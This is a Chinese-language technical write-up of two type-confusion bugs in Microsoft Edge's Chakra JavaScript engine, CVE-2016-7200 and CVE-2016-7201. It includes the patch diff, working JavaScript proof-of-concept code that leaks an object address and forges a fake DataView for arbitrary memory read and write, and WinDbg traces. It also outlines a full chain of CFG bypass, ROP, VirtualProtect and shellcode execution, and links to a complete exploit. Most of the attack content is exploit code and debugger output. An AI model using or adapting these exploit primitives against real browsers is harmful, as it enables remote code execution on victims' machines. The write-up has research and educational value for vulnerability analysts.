1. 分析环境
操作系统:Windows 10 x64 专业版 10.0.14393
浏览器:Microsoft Edge x64 38.14393.0
2. CVE-2016-7200分析
这是发生在JavascriptArray::FilterHelper
中,由于类型混淆所导致的漏洞,先看commit
template <typename T>
Var JavascriptArray::FilterHelper(JavascriptArray* pArr, RecyclableObject* obj, T length, Arguments& args, ScriptContext* scriptContext)
{
if (args.Info.Count < 2 || !JavascriptConversion::IsCallable(args[1]))
{
JavascriptError::ThrowTypeError(scriptContext, JSERR_FunctionArgument_NeedFunction, _u("Array.prototype.filter"));
}
RecyclableObject* callBackFn = RecyclableObject::FromVar(args[1]);
Var thisArg = nullptr;
if (args.Info.Count > 2)
{
thisArg = args[2];
}
else
{
thisArg = scriptContext->GetLibrary()->GetUndefined();
}
// If the source object is an Array exotic object we should try to load the constructor property and use it to construct the return object.
- RecyclableObject* newObj = ArraySpeciesCreate(obj, 0, scriptContext);
+ bool isBuiltinArrayCtor = true;
+ RecyclableObject* newObj = ArraySpeciesCreate(obj, 0, scriptContext, nullptr, nullptr, &isBuiltinArrayCtor);
JavascriptArray* newArr = nullptr;
if (newObj == nullptr)
{
newArr = scriptContext->GetLibrary()->CreateArray(0);
newArr->EnsureHead<Var>();
newObj = newArr;
}
else
{
// If the new object we created is an array, remember that as it will save us time setting properties in the object below
if (JavascriptArray::Is(newObj))
{
+#if ENABLE_COPYONACCESS_ARRAY
+ JavascriptLibrary::CheckAndConvertCopyOnAccessNativeIntArray<Var>(newObj);
+#endif
newArr = JavascriptArray::FromVar(newObj);
}
}
Var element = nullptr;
Var selected = nullptr;
if (pArr)
{
Assert(length <= MaxArrayLength);
uint32 i = 0;
for (uint32 k = 0; k < length; k++)
{
if (!pArr->DirectGetItemAtFull(k, &element))
{
continue;
}
selected = callBackFn->GetEntryPoint()(callBackFn, CallInfo(CallFlags_Value, 4), thisArg,
element,
JavascriptNumber::ToVar(k, scriptContext),
pArr);
if (JavascriptConversion::ToBoolean(selected, scriptContext))
{
// Try to fast path if the return object is an array
- if (newArr)
+ if (newArr && isBuiltinArrayCtor)
{
newArr->DirectSetItemAt(i, element);
}
再看下POC
var x = (new Array(56, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)).slice();
var [hi, lo] = PutDataAndGetAddr(x);
function PutDataAndGetAddr(t)
{
var d = new Array(1,2,3);
class dummy {
constructor() {
return d;
}
}
class MyArray extends Array {
static get [Symbol.species]() {
return dummy;
}
}
var a = new Array({}, t, "theori", 7, 7, 7, 7, 7);
function test(i) {
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
var h = [];
for (item in o) {
var n = new Number(o[item]);
if (n < 0) {
n = n + 0x100000000;
}
h.push(n);
}
return [h[3], h[2]];
}
上面a.filter(test)
会调用到JavascriptArray::FilterHelper
,a.__proto__ = MyArray.prototype
使RecyclableObject* newObj = ArraySpeciesCreate(obj, 0, scriptContext)
得到的newObj
类型为JavascriptNativeIntArray
0:013> p
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0xaa:
00007ffa`5c0ff9ea 4533e4 xor r12d,r12d
0:013> dq rax
0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510 00000000`00000000 00000000`00000005
0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540 00000003`00000000 00000000`00000006
0000020c`4e2e5550 00000000`00000000 00000002`00000001
0000020c`4e2e5560 80000002`00000003 80000002`80000002
0000020c`4e2e5570 00000000`00000000 00000000`00000000
0:013> ln 00007ffa`5c4d38d8
Browse module
Set bu breakpoint
(00007ffa`5c4d38d8) chakra!Js::JavascriptNativeIntArray::`vftable' | (00007ffa`5c4d3c28) chakra!Js::JavascriptArray::`vftable'
Exact matches:
chakra!Js::JavascriptNativeIntArray::`vftable' = <no type information>
可以看到新生成的数组类型为JavascriptNativeIntArray
,从0000020c4e2e5558
开始就是数组中的值,每个element
的大小为4
字节,再在newArr->DirectSetItemAt(i, element)
时断下
0:013> g
Breakpoint 1 hit
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1ab:
00007ffa`5c0ffaeb e8d0e40500 call chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt<void * __ptr64> (00007ffa`5c15dfc0)
0:013> r
rax=0000020c4e2e5500 rbx=0000000000000000 rcx=0000020c4e2e5500
rdx=0000000000000000 rsi=0000000000000000 rdi=0000020c4e2e5500
rip=00007ffa5c0ffaeb rsp=000000bc89afb8b0 rbp=000000bc89afb921
r8=0000020c4e23abe0 r9=00007ffa5bf40000 r10=0000020c4e361d40
r11=0000000000000000 r12=0000000000000008 r13=0000020c4e242160
r14=0000020c4e25d180 r15=0000020c4aa2d160
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1ab:
00007ffa`5c0ffaeb e8d0e40500 call chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt<void * __ptr64> (00007ffa`5c15dfc0)
0:013> dq rcx
0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510 00000000`00000000 00000000`00000005
0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540 00000003`00000000 00000000`00000006
0000020c`4e2e5550 00000000`00000000 00000002`00000001
0000020c`4e2e5560 80000002`00000003 80000002`80000002
0000020c`4e2e5570 00000000`00000000 00000000`00000000
0:013> p
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1b0:
00007ffa`5c0ffaf0 ffc6 inc esi
0:013> dq 0000020c`4e2e5500
0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510 00000000`00000000 00000000`00000005
0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540 00000003`00000000 00000000`00000006
0000020c`4e2e5550 00000000`00000000 0000020c`4e23abe0
0000020c`4e2e5560 80000002`00000003 80000002`80000002
0000020c`4e2e5570 00000000`00000000 00000000`00000000
给索引为0
的位置赋值了一个对象的地址,再进行一次赋值
0:013> g
Breakpoint 1 hit
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1ab:
00007ffa`5c0ffaeb e8d0e40500 call chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt<void * __ptr64> (00007ffa`5c15dfc0)
0:013> dq rcx
0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510 00000000`00000000 00000000`00000005
0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540 00000003`00000000 00000000`00000006
0000020c`4e2e5550 00000000`00000000 0000020c`4e23abe0
0000020c`4e2e5560 80000002`00000003 80000002`80000002
0000020c`4e2e5570 00000000`00000000 00000000`00000000
0:013> r
rax=0000020c4e2e5500 rbx=0000000000000001 rcx=0000020c4e2e5500
rdx=0000000000000001 rsi=0000000000000001 rdi=0000020c4e2e5500
rip=00007ffa5c0ffaeb rsp=000000bc89afb8b0 rbp=000000bc89afb921
r8=0000020c4e254460 r9=00007ffa5bf40000 r10=0000020c4e361d40
r11=0000000000000000 r12=0000000000000008 r13=0000020c4e242160
r14=0000020c4e25d180 r15=0000020c4aa2d160
iopl=0 nv up ei ng nz ac pe cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000293
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1ab:
00007ffa`5c0ffaeb e8d0e40500 call chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt<void * __ptr64> (00007ffa`5c15dfc0)
0:013> dq r8
0000020c`4e254460 00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e254470 00000000`00000000 00000000`00000005
0000020c`4e254480 00000000`00000010 0000020c`4e2544a0
0000020c`4e254490 0000020c`4e2544a0 0000020c`4c37d920
0000020c`4e2544a0 00000010`00000000 00000000`00000012
0000020c`4e2544b0 00000000`00000000 00000000`00000038
0000020c`4e2544c0 00000000`00000000 00000000`00000000
0000020c`4e2544d0 00000000`00000000 00000000`00000000
0:013> p
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1b0:
00007ffa`5c0ffaf0 ffc6 inc esi
0:013> dq 0000020c`4e2e5500
0000020c`4e2e5500 00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510 00000000`00000000 00000000`00000005
0000020c`4e2e5520 00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530 0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540 00000003`00000000 00000000`00000006
0000020c`4e2e5550 00000000`00000000 0000020c`4e23abe0
0000020c`4e2e5560 0000020c`4e254460 80000002`80000002
0000020c`4e2e5570 00000000`00000000 00000000`00000000
这时给索引为1
的位置赋值了指定对象的地址,特别要注意的是这里把JavascriptNativeIntArray
混淆成了JavascriptArray
,而JavascriptArray
的每个element
大小为8
字节,而JavascriptNativeIntArray
的每个element
大小为4
字节,因此最后通过return [h[3], h[2]]
泄漏出指定对象的地址。
3. CVE-2016-7201分析
这也是由于类型混淆导致的漏洞,发生在JavascriptArray::FillFromPrototypes
调用JavascriptArray::ForEachOwnMissingArrayIndexOfObject
时
void JavascriptArray::FillFromPrototypes(uint32 startIndex, uint32 limitIndex)
{
if (startIndex >= limitIndex)
{
return;
}
RecyclableObject* prototype = this->GetPrototype();
// Fill all missing values by walking through prototype
while (JavascriptOperators::GetTypeId(prototype) != TypeIds_Null)
{
ForEachOwnMissingArrayIndexOfObject(this, nullptr, prototype, startIndex, limitIndex,0, [this](uint32 index, Var value) {
this->SetItem(index, value, PropertyOperation_None);
});
prototype = prototype->GetPrototype();
}
}
再看下Javascript::ForEachOwnMissingArrayIndexOfObject
中的代码片段
template <typename Fn>
void JavascriptArray::ForEachOwnMissingArrayIndexOfObject(JavascriptArray *baseArray, JavascriptArray *destArray, RecyclableObject* obj, uint32 startIndex, uint32 limitIndex, uint32 destIndex, Fn fn)
{
...
if (DynamicObject::IsAnyArray(obj))
{
arr = JavascriptArray::FromAnyArray(obj);
}
...
if (JavascriptArray::Is(arr))
{
ArrayElementEnumerator e(arr, startIndex, limitIndex);
while(e.MoveNext<Var>())
{
uint32 index = e.GetIndex();
if (!baseArray->DirectGetVarItemAt(index, &oldValue, baseArray->GetScriptContext()))
{
uint32 n = destIndex + (index - startIndex);
if (destArray == nullptr || !destArray->DirectGetItemAt(n, &oldValue))
{
JS_REENTRANT(jsReentLock, fn(index, e.GetItem<Var>()));
}
}
}
}
...
}
下面是POC
var [hi, lo] = PutDataAndGetAddr(x);
[hi, lo] = [hi|0, (lo + 0x58)|0]; // offset (0x58) to the array data slots
TriggerFillFromPrototypesBug(lo, hi);
function TriggerFillFromPrototypesBug(lo, hi)
{
// Type* (which has TypeId)
x[2] = lo;
x[3] = hi;
// +0x3C points to 0 (index 1) for bypassing isDetached check
x[10] = (lo - 0x38)|0;
x[11] = hi;
// buffer length
x[8] = 0x200;
// buffer addr
x[14] = (lo - 0x58)|0;
x[15] = hi;
var a = new Array(0x11111111, 0, 0x22222222, 0, 0x33333333, 0, lo, hi, 0x55555555, 0);
var handler = {
getPrototypeOf: function(target, name) {
return a;
}
};
var p = new Proxy([], handler);
var b = [{}, [], "abc"];
b.__proto__ = p;
b.length = 4;
a.shift.call(b);
dv = b[2];
}
调用a.shift.call(b)
时会调用JavascriptArray::FillFromPrototypes
,这里使用了代理对象var p = new Proxy([], handler);b.__proto__ = p;
,由于prototype = prototype->GetPrototype()
使ArrayElementEnumerator e(arr, startIndex, limitIndex)
时得到一个JavascriptNativeIntArray
类型的迭代器
0:013> g
Breakpoint 2 hit
chakra!Js::JavascriptArray::FillFromPrototypes+0x151:
00007ffa`5c15c901 e84ae9ffff call chakra!Js::JavascriptArray::ArrayElementEnumerator::ArrayElementEnumerator (00007ffa`5c15b250)
0:013> dq rdx
000001da`6a2eed00 00007ffa`5c4d38d8 000001da`6a707040
000001da`6a2eed10 00000000`00000000 00000000`00000005
000001da`6a2eed20 00000000`0000000a 000001da`6a2eed40
000001da`6a2eed30 000001da`6a2eed40 000001da`6a26dc20
000001da`6a2eed40 0000000a`00000000 00000000`0000000a
000001da`6a2eed50 00000000`00000000 00000000`11111111
000001da`6a2eed60 00000000`22222222 00000000`33333333
000001da`6a2eed70 000001da`6a2e7b18 00000000`55555555
0:013> ln 00007ffa`5c4d38d8
Browse module
Set bu breakpoint
(00007ffa`5c4d38d8) chakra!Js::JavascriptNativeIntArray::`vftable' | (00007ffa`5c4d3c28) chakra!Js::JavascriptArray::`vftable'
Exact matches:
chakra!Js::JavascriptNativeIntArray::`vftable' = <no type information>
但是取元素e.GetItem<Var>()
时却认为此数组是Var Array
类型,在之后this->SetItem(index, value, PropertyOperation_None)
赋值时也认为此数组是Var Array
类型
0:013> g
Breakpoint 3 hit
chakra!Js::MissingPropertyTypeHandler::IsObjTypeSpecEquivalent+0x8d971:
00007ffa`5c2460e1 ff1591ca2d00 call qword ptr [chakra!_guard_dispatch_icall_fptr (00007ffa`5c522b78)] ds:00007ffa`5c522b78={ntdll!LdrpDispatchUserCallTarget (00007ffa`7cf55260)}
0:013> dq rcx
000001da`6a71a990 00007ffa`5c4d3c28 000001da`6a74e980
000001da`6a71a9a0 00000000`00000000 00000000`00020005
000001da`6a71a9b0 00000000`00000004 000001da`6a2e7700
000001da`6a71a9c0 000001da`6a2e7700 00000000`00000000
000001da`6a71a9d0 00000003`00000000 00000000`00000006
000001da`6a71a9e0 00000000`00000000 00000000`00000000
000001da`6a71a9f0 80000002`00000000 80000002`80000002
000001da`6a71aa00 00007ffa`5c4d38d8 000001da`6a707040
0:013> dq 000001da`6a2e7700
000001da`6a2e7700 00000003`00000000 00000000`00000011
000001da`6a2e7710 00000000`00000000 000001da`6a2c9320
000001da`6a2e7720 000001da`6a71aa00 000001da`6a2c9820
000001da`6a2e7730 80000002`80000002 80000002`80000002
000001da`6a2e7740 80000002`80000002 80000002`80000002
000001da`6a2e7750 80000002`80000002 80000002`80000002
000001da`6a2e7760 80000002`80000002 80000002`80000002
000001da`6a2e7770 80000002`80000002 80000002`80000002
0:013> r
rax=00007ffa5c15e670 rbx=000001da6a2eed00 rcx=000001da6a71a990
rdx=0000000000000003 rsi=0000000000000000 rdi=000001da6a2eed40
rip=00007ffa5c2460e1 rsp=0000003cc3ffb270 rbp=0000000000000004
r8=000001da6a2e7b18 r9=0000000000000000 r10=00000fff4b84afee
r11=0010400000000000 r12=000001da6a71a990 r13=fffc000000000000
r14=0000000000000003 r15=0000000000000003
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
chakra!Js::MissingPropertyTypeHandler::IsObjTypeSpecEquivalent+0x8d971:
00007ffa`5c2460e1 ff1591ca2d00 call qword ptr [chakra!_guard_dispatch_icall_fptr (00007ffa`5c522b78)] ds:00007ffa`5c522b78={ntdll!LdrpDispatchUserCallTarget (00007ffa`7cf55260)}
0:013> dq 1da6a2e7b18
000001da`6a2e7b18 00000000`00000038 000001da`6a2e7b18
000001da`6a2e7b28 00000000`00000000 00000000`00000000
000001da`6a2e7b38 00000000`00000200 000001da`6a2e7ae0
000001da`6a2e7b48 00000000`00000000 000001da`6a2e7ac0
000001da`6a2e7b58 80000002`80000002 00007ffa`5c4d38d8
000001da`6a2e7b68 000001da`6a707040 00000000`00000000
000001da`6a2e7b78 00000000`00000005 00000000`00000010
000001da`6a2e7b88 000001da`6a2e7ba0 000001da`6a2e7ba0
0:013> p
chakra!Js::MissingPropertyTypeHandler::IsObjTypeSpecEquivalent+0x8d977:
00007ffa`5c2460e7 90 nop
0:013> dq 000001da`6a2e7700
000001da`6a2e7700 00000004`00000000 00000000`00000011
000001da`6a2e7710 00000000`00000000 000001da`6a2c9320
000001da`6a2e7720 000001da`6a71aa00 000001da`6a2c9820
000001da`6a2e7730 000001da`6a2e7b18 80000002`80000002
000001da`6a2e7740 80000002`80000002 80000002`80000002
000001da`6a2e7750 80000002`80000002 80000002`80000002
000001da`6a2e7760 80000002`80000002 80000002`80000002
000001da`6a2e7770 80000002`80000002 80000002`80000002
这里可以看到给索引为3
的位置赋值了伪造对象的地址,在shift
操作后
0:013> dq 000001da`6a71a990
000001da`6a71a990 00007ffa`5c4d3c28 000001da`6a74e980
000001da`6a71a9a0 00000000`00000000 00000000`00020005
000001da`6a71a9b0 00000000`00000003 000001da`6a2e7700
000001da`6a71a9c0 000001da`6a2e7700 00000000`00000000
000001da`6a71a9d0 00000003`00000000 00000000`00000006
000001da`6a71a9e0 00000000`00000000 00000000`00000000
000001da`6a71a9f0 80000002`00000000 80000002`80000002
000001da`6a71aa00 00007ffa`5c4d38d8 000001da`6a707040
0:013> dq 000001da`6a2e7700
000001da`6a2e7700 00000003`00000000 00000000`00000011
000001da`6a2e7710 00000000`00000000 000001da`6a71aa00
000001da`6a2e7720 000001da`6a2c9820 000001da`6a2e7b18
000001da`6a2e7730 80000002`80000002 80000002`80000002
000001da`6a2e7740 80000002`80000002 80000002`80000002
000001da`6a2e7750 80000002`80000002 80000002`80000002
000001da`6a2e7760 80000002`80000002 80000002`80000002
000001da`6a2e7770 80000002`80000002 80000002`80000002
因此dv = b[2]
就得到了伪造的任意地址的对象。
4. 漏洞利用
思路很简单,利用CVE-2016-7200
泄漏指定对象的地址,再利用CVE-2016-7201
伪造一个DataView
类型的对象来实现任意地址的读和写,然后通过覆盖返回地址来绕过CFG
进行ROP
,调用VirtualProtect
给shellcode
空间增加可执行权限,最后返回到shellcode
执行。
利用DataView
实现任意地址的读写,可以参考exp-sky
大牛的一篇演讲
完整EXP:https://github.com/birdg0/exp/blob/master/browser/edge-x64-cve-2016-7200%267201-exp.html